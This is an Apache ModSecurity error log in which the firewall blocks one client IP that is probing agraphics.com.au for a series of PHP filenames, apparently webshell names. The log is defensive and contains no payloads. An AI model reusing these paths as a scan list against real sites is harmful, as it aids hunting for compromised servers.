[Thu Nov 20 16:17:46.403191 2025] [:error] [pid 55340:tid 55350] [client 20.27.30.201:3913] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aR7OqvOxD-NeMydTybCCVQAAAAU"]
[Thu Nov 20 16:17:47.052426 2025] [:error] [pid 34405:tid 34409] [client 20.27.30.201:4057] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aR7OqzFpvu8oRK7ATfv7vAAAAQI"]
[Thu Nov 20 16:17:47.629884 2025] [:error] [pid 55342:tid 55378] [client 20.27.30.201:3980] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aR7Oq7g6x32Tvk7fIG-9qAAAAEY"]
[Thu Nov 20 16:17:48.181135 2025] [:error] [pid 40445:tid 40482] [client 20.27.30.201:4041] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aR7OrFH-MuFcoWRjXpYunQAAAkc"]
[Thu Nov 20 16:17:48.897455 2025] [:error] [pid 34405:tid 34429] [client 20.27.30.201:3780] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aR7OrDFpvu8oRK7ATfv7wQAAARY"]
[Thu Nov 20 16:17:50.006858 2025] [:error] [pid 55340:tid 55361] [client 20.27.30.201:4062] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aR7OrvOxD-NeMydTybCCXgAAABA"]
[Thu Nov 20 16:17:51.006286 2025] [:error] [pid 40636:tid 40659] [client 20.27.30.201:3970] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aR7OrwK8BWUoW3xq0HD0VAAAA5M"]
[Thu Nov 20 16:17:51.592473 2025] [:error] [pid 40508:tid 40530] [client 20.27.30.201:3905] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ot.php"] [unique_id "aR7Or6xXNVCMW_ksxPtxtgAAApQ"]
[Thu Nov 20 16:17:51.969871 2025] [:error] [pid 55340:tid 55367] [client 20.27.30.201:3899] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/witmm.php"] [unique_id "aR7Or_OxD-NeMydTybCCYgAAABY"]
[Thu Nov 20 16:17:52.490855 2025] [:error] [pid 55343:tid 55410] [client 20.27.30.201:4068] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/witmm.php"] [unique_id "aR7OsFWlO3EnyVMV7w6XmgAAAIs"]
[Thu Nov 20 16:17:54.518314 2025] [:error] [pid 55342:tid 55375] [client 20.27.30.201:3564] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/witmm.php"] [unique_id "aR7Osrg6x32Tvk7fIG-9rQAAAEM"]
[Thu Nov 20 16:17:55.094097 2025] [:error] [pid 34405:tid 34422] [client 20.27.30.201:3889] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/witmm.php"] [unique_id "aR7OszFpvu8oRK7ATfv7ygAAAQ8"]
[Thu Nov 20 16:17:55.607477 2025] [:error] [pid 55343:tid 55420] [client 20.27.30.201:3808] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lo.php"] [unique_id "aR7Os1WlO3EnyVMV7w6XnAAAAJU"]
[Thu Nov 20 16:17:57.178116 2025] [:error] [pid 34405:tid 34431] [client 20.27.30.201:3853] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lo.php"] [unique_id "aR7OtTFpvu8oRK7ATfv7zQAAARg"]
[Thu Nov 20 16:17:57.771501 2025] [:error] [pid 55343:tid 55418] [client 20.27.30.201:3938] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lo.php"] [unique_id "aR7OtVWlO3EnyVMV7w6XngAAAJM"]
[Thu Nov 20 16:17:58.468379 2025] [:error] [pid 40415:tid 40427] [client 20.27.30.201:3924] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lo.php"] [unique_id "aR7OtqhjIyLSv09svwOFQQAAAck"]
[Thu Nov 20 16:17:58.969343 2025] [:error] [pid 55430:tid 55436] [client 20.27.30.201:4058] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aR7OtvPZXaIMEU4pE7vlcQAAAMM"]
[Thu Nov 20 16:17:59.434421 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:3570] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aR7Ot6KlsL5kxTa3c1zKFAAAAtY"]
[Thu Nov 20 16:17:59.983319 2025] [:error] [pid 55343:tid 55403] [client 20.27.30.201:3891] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aR7Ot1WlO3EnyVMV7w6XoQAAAIQ"]
[Thu Nov 20 16:18:00.653514 2025] [:error] [pid 55342:tid 55393] [client 20.27.30.201:4040] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxrl.php"] [unique_id "aR7OuLg6x32Tvk7fIG-9tQAAAFU"]
[Thu Nov 20 16:18:02.041272 2025] [:error] [pid 40415:tid 40424] [client 20.27.30.201:3554] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxonb.php"] [unique_id "aR7OuqhjIyLSv09svwOFRQAAAcY"]
[Thu Nov 20 16:18:02.873425 2025] [:error] [pid 40445:tid 40490] [client 20.27.30.201:4038] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxonb.php"] [unique_id "aR7OulH-MuFcoWRjXpYupgAAAk8"]
[Thu Nov 20 16:18:04.423464 2025] [:error] [pid 40636:tid 40644] [client 20.27.30.201:3534] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxonb.php"] [unique_id "aR7OvAK8BWUoW3xq0HD0YgAAA4Q"]
[Thu Nov 20 16:18:05.996785 2025] [:error] [pid 40445:tid 40491] [client 20.27.30.201:4044] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vxonb.php"] [unique_id "aR7OvVH-MuFcoWRjXpYuqAAAAlA"]
[Thu Nov 20 16:18:06.754625 2025] [:error] [pid 40508:tid 40511] [client 20.27.30.201:3542] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wozxsh.php"] [unique_id "aR7OvqxXNVCMW_ksxPtx0gAAAoE"]
[Thu Nov 20 16:18:07.328440 2025] [:error] [pid 40445:tid 40475] [client 20.27.30.201:4087] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wozxsh.php"] [unique_id "aR7Ov1H-MuFcoWRjXpYuqQAAAkA"]
[Thu Nov 20 16:18:07.908065 2025] [:error] [pid 40508:tid 40533] [client 20.27.30.201:3986] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wozxsh.php"] [unique_id "aR7Ov6xXNVCMW_ksxPtx1gAAApc"]
[Thu Nov 20 16:18:08.531985 2025] [:error] [pid 55342:tid 55396] [client 20.27.30.201:3866] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wozxsh.php"] [unique_id "aR7OwLg6x32Tvk7fIG-9xwAAAFg"]
[Thu Nov 20 16:18:09.226760 2025] [:error] [pid 40445:tid 40489] [client 20.27.30.201:3530] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whf.php"] [unique_id "aR7OwVH-MuFcoWRjXpYuqgAAAk4"]
[Thu Nov 20 16:18:10.552034 2025] [:error] [pid 55430:tid 55438] [client 20.27.30.201:4052] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whf.php"] [unique_id "aR7OwvPZXaIMEU4pE7vlfAAAAMU"]
[Thu Nov 20 16:18:12.820452 2025] [:error] [pid 40415:tid 40427] [client 20.27.30.201:3890] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whf.php"] [unique_id "aR7OxKhjIyLSv09svwOFSwAAAck"]
[Thu Nov 20 16:18:13.234817 2025] [:error] [pid 40415:tid 40439] [client 20.27.30.201:4069] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whf.php"] [unique_id "aR7OxahjIyLSv09svwOFTwAAAdU"]
[Thu Nov 20 16:18:13.942927 2025] [:error] [pid 40415:tid 40420] [client 20.27.30.201:3906] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aR7OxahjIyLSv09svwOFUAAAAcI"]
[Thu Nov 20 16:18:14.566343 2025] [:error] [pid 40537:tid 40544] [client 20.27.30.201:3984] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aR7OxqKlsL5kxTa3c1zKGgAAAsM"]
[Thu Nov 20 16:18:15.374465 2025] [:error] [pid 40537:tid 40561] [client 20.27.30.201:4060] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aR7Ox6KlsL5kxTa3c1zKGwAAAtQ"]
[Thu Nov 20 16:18:16.532205 2025] [:error] [pid 40537:tid 40546] [client 20.27.30.201:3931] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkxzo.php"] [unique_id "aR7OyKKlsL5kxTa3c1zKHgAAAsU"]
[Thu Nov 20 16:18:17.110818 2025] [:error] [pid 40508:tid 40513] [client 20.27.30.201:3548] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/okxoby.php"] [unique_id "aR7OyaxXNVCMW_ksxPtx3QAAAoM"]
[Thu Nov 20 16:18:17.551293 2025] [:error] [pid 34405:tid 34414] [client 20.27.30.201:3861] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/okxoby.php"] [unique_id "aR7OyTFpvu8oRK7ATfv70gAAAQc"]
[Thu Nov 20 16:18:18.179835 2025] [:error] [pid 40445:tid 40485] [client 20.27.30.201:4095] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/okxoby.php"] [unique_id "aR7OylH-MuFcoWRjXpYusQAAAko"]
[Thu Nov 20 16:18:19.624656 2025] [:error] [pid 34405:tid 34411] [client 20.27.30.201:4045] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/okxoby.php"] [unique_id "aR7OyzFpvu8oRK7ATfv70wAAAQQ"]
[Thu Nov 20 16:18:20.253532 2025] [:error] [pid 55340:tid 55368] [client 20.27.30.201:4054] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aR7OzPOxD-NeMydTybCChwAAABc"]
[Thu Nov 20 16:18:21.131360 2025] [:error] [pid 55340:tid 55354] [client 20.27.30.201:3991] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aR7OzfOxD-NeMydTybCCiAAAAAk"]
[Thu Nov 20 16:18:22.030644 2025] [:error] [pid 55342:tid 55377] [client 20.27.30.201:4091] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aR7Ozrg6x32Tvk7fIG-90gAAAEU"]
[Thu Nov 20 16:18:22.873933 2025] [:error] [pid 55430:tid 55438] [client 20.27.30.201:3972] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/error1.php"] [unique_id "aR7OzvPZXaIMEU4pE7vlhwAAAMU"]
[Thu Nov 20 16:18:23.864661 2025] [:error] [pid 40508:tid 40531] [client 20.27.30.201:3994] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aR7Oz6xXNVCMW_ksxPtx5wAAApU"]
[Thu Nov 20 16:18:24.988975 2025] [:error] [pid 40636:tid 40651] [client 20.27.30.201:4030] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aR7O0AK8BWUoW3xq0HD0ZgAAA4s"]
[Thu Nov 20 16:18:25.815350 2025] [:error] [pid 55430:tid 55443] [client 20.27.30.201:3813] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aR7O0fPZXaIMEU4pE7vligAAAMo"]
[Thu Nov 20 16:18:26.352375 2025] [:error] [pid 40445:tid 40487] [client 20.27.30.201:4072] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtt.php"] [unique_id "aR7O0lH-MuFcoWRjXpYutgAAAkw"]
[Thu Nov 20 16:18:26.974606 2025] [:error] [pid 40415:tid 40432] [client 20.27.30.201:3990] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7O0qhjIyLSv09svwOFUwAAAc4"]
[Thu Nov 20 16:18:27.751532 2025] [:error] [pid 40415:tid 40421] [client 20.27.30.201:3929] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7O06hjIyLSv09svwOFVAAAAcM"]
[Thu Nov 20 16:18:28.761020 2025] [:error] [pid 40445:tid 40495] [client 20.27.30.201:3900] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7O1FH-MuFcoWRjXpYuugAAAlQ"]
[Thu Nov 20 16:18:29.640697 2025] [:error] [pid 40415:tid 40423] [client 20.27.30.201:4036] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR7O1ahjIyLSv09svwOFVgAAAcU"]
[Thu Nov 20 16:18:30.888914 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:3932] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcas.php"] [unique_id "aR7O1qKlsL5kxTa3c1zKIgAAAtY"]
[Thu Nov 20 16:18:31.722857 2025] [:error] [pid 55342:tid 55389] [client 20.27.30.201:4080] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcas.php"] [unique_id "aR7O17g6x32Tvk7fIG-92wAAAFE"]
[Thu Nov 20 16:18:32.637289 2025] [:error] [pid 40508:tid 40522] [client 20.27.30.201:3582] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcas.php"] [unique_id "aR7O2KxXNVCMW_ksxPtx8AAAAow"]
[Thu Nov 20 16:18:33.363418 2025] [:error] [pid 40445:tid 40488] [client 20.27.30.201:4000] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wcas.php"] [unique_id "aR7O2VH-MuFcoWRjXpYuvAAAAk0"]
